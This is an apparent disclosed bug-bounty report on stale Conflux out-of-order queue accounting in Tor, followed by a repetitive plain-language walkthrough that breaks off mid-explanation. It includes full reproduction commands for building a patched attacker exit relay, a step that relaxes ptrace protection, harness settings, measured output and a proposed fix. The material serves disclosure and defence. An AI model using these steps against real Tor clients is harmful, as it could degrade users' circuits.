Malicious Conflux Endpoint Can Leave Stale Global OOO Queue Accounting After Teardown
Tor's Conflux out-of-order queue accounting is not decremented when a Conflux set is torn down, leaving a stale global byte counter. A malicious Conflux-capable relay can send crafted cells to inflate this counter, which persists until Tor restarts and could contribute to OOM recovery closing circuits.
- Triaged in 2 days
- Fixed in 18 days
- Paid in 18 days
- Disclosed after 49 days
Summary
Tor's Conflux OOO queue accounting can remain inflated after a Conflux set is
torn down. A malicious Conflux-capable endpoint relay can send a real
CONFLUX_SWITCH gap followed by RELAY_DATA cells, causing the client to queue
out-of-order messages. When teardown happens before normal dequeue,
conflux_free_() frees those messages but does not subtract their cost from
total_ooo_q_bytes.
The victim client is unmodified in the PoC. Only the attacker-controlled exit relay is patched so it emits hostile Conflux traffic through Tor's normal relay-cell send path.
Root Cause
The accounting is balanced on normal dequeue, but not on teardown.
In src/core/or/conflux.c, OOO enqueue increments both counters:
total_ooo_q_bytes += cost;
cfx->ooo_q_alloc_cost += cost;
The normal dequeue path subtracts the same cost:
total_ooo_q_bytes -= cost;
cfx->ooo_q_alloc_cost -= cost;
But src/core/or/conflux_pool.c:conflux_free_() frees queued messages without
the matching accounting update:
SMARTLIST_FOREACH(cfx->ooo_q, conflux_msg_t *, cell,
conflux_relay_msg_free(cell));
smartlist_free(cfx->ooo_q);
That leaves total_ooo_q_bytes counting memory that has already been freed.
This stale value is later included in src/core/or/relay.c:cell_queues_check_size():
const size_t conflux_total = conflux_get_total_bytes_allocation();
alloc += conflux_total;
If the global allocation total reaches MaxMemInQueues, Tor's OOM recovery path
can close circuits through circuits_handle_oom().
PoC / Evidence
The attached PoC builds two Tor binaries and runs a private Chutney network. The
victim side uses the clean Tor binary. The second binary is used only for
attacker-controlled exit relays, where the patch sends real CONFLUX_SWITCH
and RELAY_DATA cells on the negotiated Conflux leg. The harness then restarts
clean exits to force normal teardown and reads
conflux_get_total_bytes_allocation() / MaxMemInQueues from the clean client
with gdb.
Attached PoC files:
poc-files/run-poc.shpoc-files/attacker-relay.diffpoc-files/chutney-network
Build and run the proof:
mkdir -p ~/conflux-ooo-oom-check
cd ~/conflux-ooo-oom-check
git clone https://gitlab.torproject.org/tpo/core/tor.git tor-clean
git clone https://gitlab.torproject.org/tpo/core/tor.git tor-attacker-exact
git clone https://gitlab.torproject.org/tpo/core/chutney.git chutney
cp /path/to/poc-files/attacker-relay.diff ~/
cp /path/to/poc-files/chutney-network ~/
cp /path/to/poc-files/run-poc.sh ~/
Build the clean victim/network binary:
cd ~/conflux-ooo-oom-check/tor-clean
git checkout a66e072d7f3752fe98d4e59129b35b0942d4399b
./autogen.sh
./configure --disable-asciidoc
make -j"$(nproc)"
Build the attacker-exit binary:
cd ~/conflux-ooo-oom-check/tor-attacker-exact
git checkout a66e072d7f3752fe98d4e59129b35b0942d4399b
git apply ~/attacker-relay.diff
./autogen.sh
./configure --disable-asciidoc
make -j"$(nproc)"
Install Chutney dependencies if needed:
cd ~/conflux-ooo-oom-check/chutney
python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install -U 'typing_extensions' 'typeguard==4.3.0' \
'tomli-w~=1.2.0' 'paramiko~=4.0' 'cryptography~=3.4'
Allow local counter inspection with gdb:
# Measurement only. This does not change Tor behavior or the attack path.
sudo sysctl -w kernel.yama.ptrace_scope=0
Run the proof script:
cd ~
. ~/conflux-ooo-oom-check/chutney/.venv/bin/activate
ROUNDS=4 \
TARGET_COUNTER=1000000 \
TRAFFIC_PASSES=1 \
TRAFFIC_TIMEOUT=35 \
TOR_CONFLUX_OOO_CELLS=900 \
TOR_CONFLUX_OOO_PROBES=60 \
bash ~/run-poc.sh
Successful proof output:
timestamp label mem_available_mb client_rss_mb client_vmsize_mb conflux_counter max_mem_in_queues attacker_sends oom_lines
2026-04-28T22:59:29+05:30 baseline 7872.5 12.6 306.1 0 6625393048 0 0
2026-04-28T23:00:14+05:30 round-1-after-attack 7886.2 12.8 313.9 327716 6625393048 83 0
2026-04-28T23:00:24+05:30 round-1-after-clean-restart 8052.1 12.8 313.9 327716 6625393048 83 0
2026-04-28T23:01:09+05:30 round-2-after-attack 7918.1 12.8 313.9 720904 6625393048 185 0
2026-04-28T23:01:19+05:30 round-2-after-clean-restart 8079.9 12.8 313.9 720904 6625393048 185 0
2026-04-28T23:02:04+05:30 round-3-after-attack 7870.9 12.8 313.9 1441452 6625393048 278 0
2026-04-28T23:02:14+05:30 round-3-after-clean-restart 8205.4 12.8 313.9 1441452 6625393048 278 0
[result] target counter reached: 1441452 >= 1000000
Attacker-side proof line:
PoC: Conflux OOO exact-leg probe queued 124 DATA cells; stop this exit now to force client-side teardown
The important observation is that the Conflux allocation counter remains
non-zero after the attacker exits are replaced by clean exits. This confirms
successful exploitation of the stale accounting bug after real teardown under
default MaxMemInQueues settings. No OOM was triggered in this run.
Recommended Fix
Make Conflux OOO teardown use the same accounting invariant as normal dequeue.
static void
conflux_free_queued_msg_accounted(conflux_t *cfx, conflux_msg_t *msg)
{
size_t cost = conflux_msg_alloc_cost(msg);
if (BUG(total_ooo_q_bytes < cost))
total_ooo_q_bytes = 0;
else
total_ooo_q_bytes -= cost;
if (BUG(cfx->ooo_q_alloc_cost < cost))
cfx->ooo_q_alloc_cost = 0;
else
cfx->ooo_q_alloc_cost -= cost;
conflux_relay_msg_free(msg);
}
Then use it from conflux_free_():
SMARTLIST_FOREACH(cfx->ooo_q, conflux_msg_t *, cell,
conflux_free_queued_msg_accounted(cfx, cell));
smartlist_free(cfx->ooo_q);
Regression tests should verify that teardown with a non-empty Conflux OOO queue
returns conflux_get_total_bytes_allocation() to zero.
Impact
A malicious Conflux-capable endpoint can cause Tor's global Conflux OOO queue-memory counter to remain inflated after teardown, and that stale counter can persist until Tor restart.
This can also affect Tor's OOM recovery path if enough stale accounting accumulates, but this report does not include a default-config OOM PoC.
Why: stale bytes count against MaxMemInQueues until restart.
Context
Tor's Conflux is a multipath design: a client can negotiate more than one leg through the network and spread traffic across them. Because cells on different legs can arrive out of order relative to one another, the implementation keeps an out-of-order (OOO) queue per Conflux set and tracks how much memory those queued messages occupy. Two counters are involved: a per-set cfx->ooo_q_alloc_cost and a global total_ooo_q_bytes.
The global figure is not cosmetic. It is folded into Tor's overall queue-memory accounting in src/core/or/relay.c:cell_queues_check_size():
const size_t conflux_total = conflux_get_total_bytes_allocation();
alloc += conflux_total;
When that total reaches MaxMemInQueues, Tor's out-of-memory recovery path can close circuits through circuits_handle_oom(). The report describes a way for a malicious Conflux-capable endpoint relay to make the global counter stay inflated after the Conflux set has been torn down, so freed memory continues to be counted.
Setup
The proof of concept builds two Tor binaries from the same commit and runs a private Chutney network:
- The victim side runs the clean, unmodified Tor binary.
- The second binary is used only for attacker-controlled exit relays. It carries a patch that sends real
CONFLUX_SWITCHandRELAY_DATAcells on the negotiated Conflux leg through Tor's normal relay-cell send path.
The victim client is unmodified. Only the attacker-controlled exit relay is patched.
Attached PoC files:
poc-files/run-poc.shpoc-files/attacker-relay.diffpoc-files/chutney-network
Finding it
The researcher compared the accounting on the normal dequeue path with the accounting on teardown. On enqueue, both counters are incremented in src/core/or/conflux.c:
total_ooo_q_bytes += cost;
cfx->ooo_q_alloc_cost += cost;
On normal dequeue, the same cost is subtracted:
total_ooo_q_bytes -= cost;
cfx->ooo_q_alloc_cost -= cost;
But src/core/or/conflux_pool.c:conflux_free_() frees queued messages without the matching accounting update:
SMARTLIST_FOREACH(cfx->ooo_q, conflux_msg_t *, cell,
conflux_relay_msg_free(cell));
smartlist_free(cfx->ooo_q);
That asymmetry is the bug: teardown frees the memory but leaves total_ooo_q_bytes counting it. Because the stale value feeds into cell_queues_check_size(), it counts against MaxMemInQueues until Tor restarts.
Exploitation
Step 1: Prepare the working directories and fetch the sources
mkdir -p ~/conflux-ooo-oom-check
cd ~/conflux-ooo-oom-check
git clone https://gitlab.torproject.org/tpo/core/tor.git tor-clean
git clone https://gitlab.torproject.org/tpo/core/tor.git tor-attacker-exact
git clone https://gitlab.torproject.org/tpo/core/chutney.git chutney
cp /path/to/poc-files/attacker-relay.diff ~/
cp /path/to/poc-files/chutney-network ~/
cp /path/to/poc-files/run-poc.sh ~/
Two clones of the Tor repository are made, one for the clean victim binary and one for the patched attacker-exit binary, plus a Chutney clone for the private test network. The three PoC files are copied into the home directory.
Step 2: Build the clean victim/network binary
cd ~/conflux-ooo-oom-check/tor-clean
git checkout [redacted]
./autogen.sh
./configure --disable-asciidoc
make -j"$(nproc)"
The clean clone is checked out at commit [redacted] and built without asciidoc.
Step 3: Build the attacker-exit binary
cd ~/conflux-ooo-oom-check/tor-attacker-exact
git checkout [redacted]
git apply ~/attacker-relay.diff
./autogen.sh
./configure --disable-asciidoc
make -j"$(nproc)"
The second clone is checked out at the same commit, the attacker patch is applied, and the binary is built. This binary is used only for the attacker-controlled exit relays.
Step 4: Install Chutney dependencies
cd ~/conflux-ooo-oom-check/chutney
python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install -U 'typing_extensions' 'typeguard==4.3.0' \
'tomli-w~=1.2.0' 'paramiko~=4.0' 'cryptography~=3.4'
A virtual environment is created and the pinned Chutney dependencies are installed.
Step 5: Allow local counter inspection with gdb
# Measurement only. This does not change Tor behavior or the attack path.
sudo sysctl -w kernel.yama.ptrace_scope=0
This relaxes the ptrace restriction so gdb can read the counters from the clean client. The report notes it is measurement only and does not change Tor behaviour or the attack path.
Step 6: Run the proof script
cd ~
. ~/conflux-ooo-oom-check/chutney/.venv/bin/activate
ROUNDS=4 \
TARGET_COUNTER=1000000 \
TRAFFIC_PASSES=1 \
TRAFFIC_TIMEOUT=35 \
TOR_CONFLUX_OOO_CELLS=900 \
TOR_CONFLUX_OOO_PROBES=60 \
bash ~/run-poc.sh
The harness runs four rounds, with a target counter of 1,000,000 bytes, one traffic pass, a 35 second traffic timeout, 900 OOO cells and 60 probes. The attacker exit sends a real CONFLUX_SWITCH gap followed by RELAY_DATA cells, which makes the client queue out-of-order messages. The harness then restarts the clean exits to force normal teardown, and reads conflux_get_total_bytes_allocation() and MaxMemInQueues from the clean client with gdb.
Successful proof output:
timestamp label mem_available_mb client_rss_mb client_vmsize_mb conflux_counter max_mem_in_queues attacker_sends oom_lines
2026-04-28T22:59:29+05:30 baseline 7872.5 12.6 306.1 0 6625393048 0 0
2026-04-28T23:00:14+05:30 round-1-after-attack 7886.2 12.8 313.9 327716 6625393048 83 0
2026-04-28T23:00:24+05:30 round-1-after-clean-restart 8052.1 12.8 313.9 327716 6625393048 83 0
2026-04-28T23:01:09+05:30 round-2-after-attack 7918.1 12.8 313.9 720904 6625393048 185 0
2026-04-28T23:01:19+05:30 round-2-after-clean-restart 8079.9 12.8 313.9 720904 6625393048 185 0
2026-04-28T23:02:04+05:30 round-3-after-attack 7870.9 12.8 313.9 1441452 6625393048 278 0
2026-04-28T23:02:14+05:30 round-3-after-clean-restart 8205.4 12.8 313.9 1441452 6625393048 278 0
[result] target counter reached: 1441452 >= 1000000
The key column is conflux_counter. It rises across rounds (327716, 720904, 1441452) and, crucially, does not drop after the clean restart that forces teardown. The counter is still non-zero after the attacker exits are replaced by clean exits, which confirms the stale accounting after real teardown under default MaxMemInQueues settings. No OOM was triggered in this run.
Attacker-side proof line:
PoC: Conflux OOO exact-leg probe queued 124 DATA cells; stop this exit now to force client-side teardown
This line is emitted by the patched exit and shows the hostile traffic being queued on the negotiated leg, with the instruction to stop the exit to force client-side teardown.
Root cause
The accounting invariant is maintained on normal dequeue but not on teardown. conflux_free_() frees every message in cfx->ooo_q and frees the list, but never subtracts the freed messages' cost from total_ooo_q_bytes or cfx->ooo_q_alloc_cost. The global counter therefore keeps counting memory that has already been freed, and that stale value is included in cell_queues_check_size() via conflux_get_total_bytes_allocation(). The counter is only corrected on the dequeue path that teardown bypasses.
Impact
A malicious Conflux-capable endpoint can cause Tor's global Conflux OOO queue-memory counter to remain inflated after teardown, and that stale counter can persist until Tor restart. Stale bytes count against MaxMemInQueues until restart. If enough stale accounting accumulates, this can also affect Tor's OOM recovery path, which can close circuits through circuits_handle_oom(). The report does not include a default-config OOM PoC, so the OOM consequence is stated as a possibility rather than demonstrated.
Fix
The report recommends making Conflux OOO teardown use the same accounting invariant as normal dequeue. A helper is proposed:
static void
conflux_free_queued_msg_accounted(conflux_t *cfx, conflux_msg_t *msg)
{
size_t cost = conflux_msg_alloc_cost(msg);
if (BUG(total_ooo_q_bytes < cost))
total_ooo_q_bytes = 0;
else
total_ooo_q_bytes -= cost;
if (BUG(cfx->ooo_q_alloc_cost < cost))
cfx->ooo_q_alloc_cost = 0;
else
cfx->ooo_q_alloc_cost -= cost;
conflux_relay_msg_free(msg);
}
It is then used from conflux_free_():
SMARTLIST_FOREACH(cfx->ooo_q, conflux_msg_t *, cell,
conflux_free_queued_msg_accounted(cfx, cell));
smartlist_free(cfx->ooo_q);
Regression tests should verify that teardown with a non-empty Conflux OOO queue returns conflux_get_total_bytes_allocation() to zero.
- Other teardown paths that free queued messages: look for any function that frees a queue without calling the matching accounting decrement. A positive result is a counter that stays non-zero after the queue is freed.
- Other global counters fed into
cell_queues_check_size(): check whether any of them can be inflated by a remote peer and left stale after teardown. A positive result is a counter that does not return to its baseline after the peer disconnects. - Repeated attack and teardown cycles: run several rounds and check whether the counter accumulates monotonically. A positive result is a counter that grows across rounds and never drops after teardown.
- OOM path under default
MaxMemInQueues: try to accumulate enough stale accounting to reach the threshold. A positive result iscircuits_handle_oom()being reached, which the report does not demonstrate.
Hunting notes
This kind of bug tends to hide where a resource is freed on one path but accounted for on another: enqueue/dequeue pairs, teardown versus normal drain, and global counters that are read by memory-pressure logic. During recon, look for counters that are incremented and decremented in matched pairs and then check every free path for the matching decrement. The signal is an asymmetry between the normal path and the error or teardown path.
The researcher built a private Chutney network, kept the victim client unmodified, patched only the attacker-controlled exit, forced real teardown by restarting clean exits, and read the counter directly with gdb to show it stayed inflated. The report is explicit about the limit: no OOM was triggered in the run, so the demonstrated impact is the stale counter persisting until restart, with the OOM consequence described as a possibility.
What happened, in plain words
Tor is a free piece of software that helps people use the internet without revealing who they are. When you use Tor, your traffic does not go straight from your computer to the website. It hops through several volunteer-run computers, called relays, and each hop only knows the one before and the one after it. The last relay in the chain, the one that actually talks to the website, is called the exit relay.
Tor has a feature called Conflux. Normally your traffic takes one path through the network. Conflux lets your Tor client build more than one path at the same time and spread the traffic across them, so if one path is slow the others can carry the load. Think of it like sending a large parcel split across two delivery vans on different routes: the boxes can arrive in a different order than they were sent, and someone has to put them back in order at the other end.
Because of that, Tor keeps a small waiting area, called a queue, for messages that arrive out of order. It also keeps a running tally of how much memory those waiting messages use. That tally matters: Tor uses it to decide when it is running low on memory and needs to start closing connections to protect itself.
The bug in this report is a bookkeeping mistake. When the waiting messages are thrown away in the normal way, Tor correctly subtracts their size from the tally. But when the whole Conflux setup is shut down, Tor throws the messages away without subtracting their size. The memory is freed, but the tally still counts it. A malicious exit relay can deliberately cause this, and the inflated tally stays wrong until Tor is restarted.
Context
What Tor and Conflux are
Tor is a network that hides who is talking to whom. Your client software picks a chain of relays and encrypts your traffic in layers, like an onion, so each relay can only peel off its own layer. The relay that peels the last layer and forwards your request to the destination is the exit relay. An exit relay is run by a volunteer, and in principle anyone can run one, including someone with bad intentions.
Conflux is a Tor design that lets a client negotiate more than one path, called a leg, through the network and spread traffic across them. If one leg is slow or fails, the others can keep carrying data. This is useful for reliability and speed.
Why out-of-order messages need a queue
When traffic is split across several legs, messages sent on one leg can arrive before or after messages sent on another leg. The receiving side has to hold the early arrivals until the missing pieces show up, then hand everything on in the right order. That holding area is the out-of-order queue, shortened to OOO queue throughout the report.
Tor tracks how much memory this queue uses with two counters:
cfx->ooo_q_alloc_cost, a per-set counter for one Conflux set.total_ooo_q_bytes, a global counter across the whole Tor process.
A counter here is just a number kept in memory that goes up and down as things are added and removed. A global counter is one shared by everything in the program, not tied to a single connection.
Why the global counter matters
The global figure is not cosmetic. It is folded into Tor's overall queue-memory accounting in src/core/or/relay.c:cell_queues_check_size():
const size_t conflux_total = conflux_get_total_bytes_allocation();
alloc += conflux_total;
Line by line:
const size_t conflux_total = conflux_get_total_bytes_allocation();asks Tor for the current global Conflux queue figure and stores it in a variable calledconflux_total.size_tis a whole-number type used for sizes and counts.alloc += conflux_total;adds that figure to a running total calledalloc, which represents how much queue memory Tor believes it is using overall.
When that total reaches a configured limit called MaxMemInQueues, Tor's out-of-memory recovery path can close circuits through circuits_handle_oom(). A circuit is one of the paths your traffic takes through the Tor network. Closing circuits is a protective measure: when memory is tight, Tor drops work to stay alive. If the counter is wrong, Tor may believe it is short of memory when it is not.
The report describes a way for a malicious Conflux-capable endpoint relay to make the global counter stay inflated after the Conflux set has been torn down, so freed memory continues to be counted.
Setup
What the proof of concept does
The proof of concept, or PoC, is a small experiment that demonstrates the bug. It builds two Tor binaries from the same commit and runs a private Chutney network.
A binary is a compiled program, the file you actually run. A commit is a saved snapshot of a code project, identified by a long string of letters and numbers. Chutney is a tool from the Tor project that spins up a private, local Tor network on your own machine, so you can test things without touching the real Tor network.
The two binaries are:
- The victim side runs the clean, unmodified Tor binary.
- The second binary is used only for attacker-controlled exit relays. It carries a patch that sends real
CONFLUX_SWITCHandRELAY_DATAcells on the negotiated Conflux leg through Tor's normal relay-cell send path.
A patch is a small set of code changes applied on top of existing code. A cell is the fixed-size unit of data that Tor relays pass around; everything Tor sends is chopped into cells. CONFLUX_SWITCH and RELAY_DATA are two kinds of cell: one relates to switching Conflux traffic onto a leg, the other carries actual relayed data. The phrase normal relay-cell send path means the patched relay does not invent a new way of talking to Tor; it uses the same sending code every relay uses, just with hostile content.
The victim client is unmodified. Only the attacker-controlled exit relay is patched. The victim client is unmodified; only the attacker-controlled exit relay is patched.
Attached PoC files:
poc-files/run-poc.shpoc-files/attacker-relay.diffpoc-files/chutney-network
A .sh file is a shell script, a list of commands a computer runs in sequence. A .diff file contains the code changes to apply. The chutney-network file describes the layout of the private test network.
Finding it
Comparing two paths through the code
The researcher compared the accounting on the normal dequeue path with the accounting on teardown. Dequeue means taking a message out of the queue to process it. Teardown means shutting the whole Conflux set down and discarding whatever is left.
On enqueue, both counters are incremented in src/core/or/conflux.c:
total_ooo_q_bytes += cost;
cfx->ooo_q_alloc_cost += cost;
Line by line:
total_ooo_q_bytes += cost;adds the size of the newly queued message, held in a variable calledcost, to the global counter.cfx->ooo_q_alloc_cost += cost;adds the same size to the per-set counter. Thecfx->part means this counter belongs to a particular Conflux set.
On normal dequeue, the same cost is subtracted:
total_ooo_q_bytes -= cost;
cfx->ooo_q_alloc_cost -= cost;
Line by line:
total_ooo_q_bytes -= cost;takes the message's size back off the global counter, because the message is no longer waiting.cfx->ooo_q_alloc_cost -= cost;does the same for the per-set counter.
So far the books balance: every addition has a matching subtraction.
But src/core/or/conflux_pool.c:conflux_free_() frees queued messages without the matching accounting update:
SMARTLIST_FOREACH(cfx->ooo_q, conflux_msg_t *, cell,
conflux_relay_msg_free(cell));
smartlist_free(cfx->ooo_q);
Line by line:
SMARTLIST_FOREACH(cfx->ooo_q, conflux_msg_t *, cell,starts a loop over every message in the queue. A smartlist is Tor's own list type, a container that holds items in order.cfx->ooo_qis the queue belonging to this Conflux set. Each item is a message of typeconflux_msg_t, and inside the loop it is calledcell.conflux_relay_msg_free(cell));is the body of the loop: it releases the memory used by that message. This is the free step.smartlist_free(cfx->ooo_q);then releases the list container itself.
Notice what is missing: there is no subtraction from total_ooo_q_bytes or cfx->ooo_q_alloc_cost anywhere in this teardown code. The memory is handed back to the system, but the counters are never told.
That asymmetry is the bug: teardown frees the memory but leaves total_ooo_q_bytes counting it. Because the stale value feeds into cell_queues_check_size(), it counts against MaxMemInQueues until Tor restarts. Stale here means out of date: the number no longer reflects reality.
Exploitation
Step 1: Prepare the working directories and fetch the sources
mkdir -p ~/conflux-ooo-oom-check
cd ~/conflux-ooo-oom-check
git clone https://gitlab.torproject.org/tpo/core/tor.git tor-clean
git clone https://gitlab.torproject.org/tpo/core/tor.git tor-attacker-exact
git clone https://gitlab.torproject.org/tpo/core/chutney.git chutney
cp /path/to/poc-files/attacker-relay.diff ~/
cp /path/to/poc-files/chutney-network ~/
cp /path/to/poc-files/run-poc.sh ~/
Line by line:
mkdir -p ~/conflux-ooo-oom-checkcreates a folder for the experiment. The~means your home folder, and-ptells the command not to complain if the folder already exists.cd ~/conflux-ooo-oom-checkmoves you into that folder so the following commands run there.git clone https://gitlab.torproject.org/tpo/core/tor.git tor-cleandownloads a copy of the Tor source code into a folder calledtor-clean. Git is a version-control tool that tracks changes to code; cloning means making your own copy of a repository, which is a project's collection of code and history.git clone https://gitlab.torproject.org/tpo/core/tor.git tor-attacker-exactdownloads a second copy of the same source into a folder calledtor-attacker-exact.git clone https://gitlab.torproject.org/tpo/core/chutney.git chutneydownloads the Chutney test-network tool.- The three
cplines copy the PoC files from wherever you saved them into your home folder, so the later steps can find them easily.
Why two copies of Tor? Because the experiment needs two different programs: one clean, to act as the victim, and one patched, to act as the hostile exit relay. Keeping them in separate folders stops the patch from contaminating the clean build.
Step 2: Build the clean victim/network binary
cd ~/conflux-ooo-oom-check/tor-clean
git checkout [redacted]
./autogen.sh
./configure --disable-asciidoc
make -j"$(nproc)"
Line by line:
cd ~/conflux-ooo-oom-check/tor-cleanmoves into the clean copy of the source.git checkout [redacted]switches the code to one exact saved snapshot, identified by that long string. Pinning the snapshot means the experiment is repeatable: everyone builds the same code../autogen.shruns a preparation script that generates the files needed to build the program../configure --disable-asciidocchecks your machine for the tools and libraries the build needs and writes settings for them. The--disable-asciidocoption skips building the documentation, which is not needed for the test.make -j"$(nproc)"compiles the program.makeruns the build, and-j"$(nproc)"tells it to use as many parallel jobs as your machine has processor cores, which makes it faster.
The result is a clean Tor binary, built without asciidoc.
Step 3: Build the attacker-exit binary
cd ~/conflux-ooo-oom-check/tor-attacker-exact
git checkout [redacted]
git apply ~/attacker-relay.diff
./autogen.sh
./configure --disable-asciidoc
make -j"$(nproc)"
Line by line:
cd ~/conflux-ooo-oom-check/tor-attacker-exactmoves into the second copy of the source.git checkout [redacted]switches it to the same snapshot as the clean build, so the only difference between the two programs will be the patch.git apply ~/attacker-relay.diffapplies the patch, which adds the hostile sending behaviour.- The remaining three lines are the same preparation, configuration and build steps as before.
The second clone is checked out at the same commit, the attacker patch is applied, and the binary is built. This binary is used only for the attacker-controlled exit relays.
Step 4: Install Chutney dependencies
cd ~/conflux-ooo-oom-check/chutney
python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install -U 'typing_extensions' 'typeguard==4.3.0' \
'tomli-w~=1.2.0' 'paramiko~=4.0' 'cryptography~=3.4'
Line by line:
cd ~/conflux-ooo-oom-check/chutneymoves into the Chutney folder.python3 -m venv .venvcreates a virtual environment, a private, self-contained Python setup inside a folder called.venv. It keeps this project's packages separate from the rest of your system.. .venv/bin/activateswitches your shell into that environment, so the next commands use it.python3 -m pip install -U 'typing_extensions' 'typeguard==4.3.0' \starts installing Python packages.pipis Python's package installer, and-Umeans upgrade to the newest allowed version. The backslash at the end continues the command on the next line.'tomli-w~=1.2.0' 'paramiko~=4.0' 'cryptography~=3.4'lists the remaining packages. The==pins an exact version;~=allows small updates within a compatible range. Pinning versions keeps the test reproducible.
A virtual environment is created and the pinned Chutney dependencies are installed.
Step 5: Allow local counter inspection with gdb
# Measurement only. This does not change Tor behavior or the attack path.
sudo sysctl -w kernel.yama.ptrace_scope=0
Line by line:
- The first line is a comment, ignored by the computer. It states that this step is for measurement only and does not change Tor's behaviour or the attack path.
sudo sysctl -w kernel.yama.ptrace_scope=0changes a Linux kernel setting.sudoruns the command with administrator rights.sysctlreads or writes kernel settings, and-wmeans write. The settingkernel.yama.ptrace_scopecontrols how strictly Linux restricts one program from inspecting another. Setting it to0relaxes that restriction.
Why is this needed? The experiment uses gdb, a debugger, to read the counter values out of the running clean Tor client. A debugger is a tool that lets you pause a program and look at its internal state. Linux normally restricts this for safety, so the setting is relaxed. The report notes it is measurement only and does not change Tor behaviour or the attack path.
Step 6: Run the proof script
cd ~
. ~/conflux-ooo-oom-check/chutney/.venv/bin/activate
ROUNDS=4 \
TARGET_COUNTER=1000000 \
TRAFFIC_PASSES=1 \
TRAFFIC_TIMEOUT=35 \
TOR_CONFLUX_OOO_CELLS=900 \
TOR_CONFLUX_OOO_PROBES=60 \
bash ~/run-poc.sh
Line by line:
cd ~moves to your home folder.. ~/conflux-ooo-oom-check/chutney/.venv/bin/activatere-enters the Python virtual environment.- The lines ending in
\set environment variables, which are named values a program can read when it starts. Each one configures the test:ROUNDS=4runs four rounds of attack and teardown.TARGET_COUNTER=1000000sets the goal: a counter value of 1,000,000 bytes.TRAFFIC_PASSES=1does one pass of traffic.TRAFFIC_TIMEOUT=35allows 35 seconds for traffic before giving up.TOR_CONFLUX_OOO_CELLS=900sets 900 out-of-order cells.TOR_CONFLUX_OOO_PROBES=60sets 60 probes.
bash ~/run-poc.shruns the proof script with those settings.
The harness runs four rounds, with a target counter of 1,000,000 bytes, one traffic pass, a 35 second traffic timeout, 900 OOO cells and 60 probes. The attacker exit sends a real CONFLUX_SWITCH gap followed by RELAY_DATA cells, which makes the client queue out-of-order messages. A gap here means a deliberate break in the expected sequence, so the client is forced to wait for the missing piece and hold the later messages in its queue. The harness then restarts the clean exits to force normal teardown, and reads conflux_get_total_bytes_allocation() and MaxMemInQueues from the clean client with gdb.
Why restart the exits? Because teardown is the moment the bug happens. By restarting the relays, the experiment forces the client to shut down its Conflux set in the ordinary way, and then checks whether the counter came back down as it should.
Successful proof output:
timestamp label mem_available_mb client_rss_mb client_vmsize_mb conflux_counter max_mem_in_queues attacker_sends oom_lines
2026-04-28T22:59:29+05:30 baseline 7872.5 12.6 306.1 0 6625393048 0 0
2026-04-28T23:00:14+05:30 round-1-after-attack 7886.2 12.8 313.9 327716 6625393048 83 0
2026-04-28T23:00:24+05:30 round-1-after-clean-restart 8052.1 12.8 313.9 327716 6625393048 83 0
2026-04-28T23:01:09+05:30 round-2-after-attack 7918.1 12.8 313.9 720904 6625393048 185 0
2026-04-28T23:01:19+05:30 round-2-after-clean-restart 8079.9 12.8 313.9 720904 6625393048 185 0
2026-04-28T23:02:04+05:30 round-3-after-attack 7870.9 12.8 313.9 1441452 6625393048 278 0
2026-04-28T23:02:14+05:30 round-3-after-clean-restart 8205.4 12.8 313.9 1441452 6625393048 278 0
[result] target counter reached: 1441452 >= 1000000
This is a table of measurements taken at different moments. Each row is one snapshot:
timestampis when the snapshot was taken.labelsays what stage it is: the starting baseline, after an attack, or after a clean restart.mem_available_mbis how much memory the machine had free, in megabytes.client_rss_mbandclient_vmsize_mbare two measures of how much memory the client process is using.conflux_counteris the global Conflux queue figure, the number at the heart of the bug.max_mem_in_queuesis the configured memory limit,MaxMemInQueues.attacker_sendscounts how many sends the hostile exit made.oom_linescounts lines in the log related to out-of-memory handling.
The key column is conflux_counter. It rises across rounds (327716, 720904, 1441452) and, crucially, does not drop after the clean restart that forces teardown. The counter is still non-zero after the attacker exits are replaced by clean exits, which confirms the stale accounting after real teardown under default MaxMemInQueues settings. No OOM was triggered in this run.
Attacker-side proof line:
PoC: Conflux OOO exact-leg probe queued 124 DATA cells; stop this exit now to force client-side teardown
This line is emitted by the patched exit and shows the hostile traffic being queued on the negotiated leg, with the instruction to stop the exit to force client-side teardown. In other words, the hostile relay is telling the operator of the experiment: I have filled the client's waiting area, now shut me down so the client has to throw that waiting area away, which is exactly the moment the bug occurs.
Root cause
The accounting invariant is maintained on normal dequeue but not on teardown. An invariant here means a rule that should always hold: if a message's size was added to the counter when it went in, it must be subtracted when it comes out, no matter how it comes out. conflux_free_() frees every message in cfx->ooo_q and frees the list, but never subtracts the freed messages' cost from total_ooo_q_bytes or cfx->ooo_q_alloc_cost. The global counter therefore keeps counting memory that has already been freed, and that stale value is included in cell_queues_check_size() via conflux_get_total_bytes_allocation(). The counter is only corrected on the dequeue path that teardown bypasses.
A useful comparison: imagine a car park with a sign saying how many spaces are free. If cars leave through the normal exit, the sign is updated. If the car park is closed and cleared out through a side door, nobody updates the sign, so it keeps saying the spaces are taken even though the car park is empty.
Impact
A malicious Conflux-capable endpoint can cause Tor's global Conflux OOO queue-memory counter to remain inflated after teardown, and that stale counter can persist until Tor restart. Stale bytes count against MaxMemInQueues until restart. If enough stale accounting accumulates, this can also affect Tor's OOM recovery path, which can close circuits through circuits_handle_oom(). The report does not include a default-config OOM PoC, so the OOM consequence is stated as a possibility rather than demonstrated.
In plain terms: the demonstrated harm is a wrong number that stays wrong. The possible harm, not shown here, is that the wrong number could eventually make Tor think it is out of memory and start closing connections.
Fix
The report recommends making Conflux OOO teardown use the same accounting invariant as normal dequeue. A helper is proposed:
static void
conflux_free_queued_msg_accounted(conflux_t *cfx, conflux_msg_t *msg)
{
size_t cost = conflux_msg_alloc_cost(msg);
if (BUG(total_ooo_q_bytes < cost))
total_ooo_q_bytes = 0;
else
total_ooo_q_bytes -= cost;
if (BUG(cfx->ooo_q_alloc_cost < cost))
cfx->ooo_q_alloc_cost = 0;
else
cfx->ooo_q_alloc_cost -= cost;
conflux_relay_msg_free(msg);
}
Line by line:
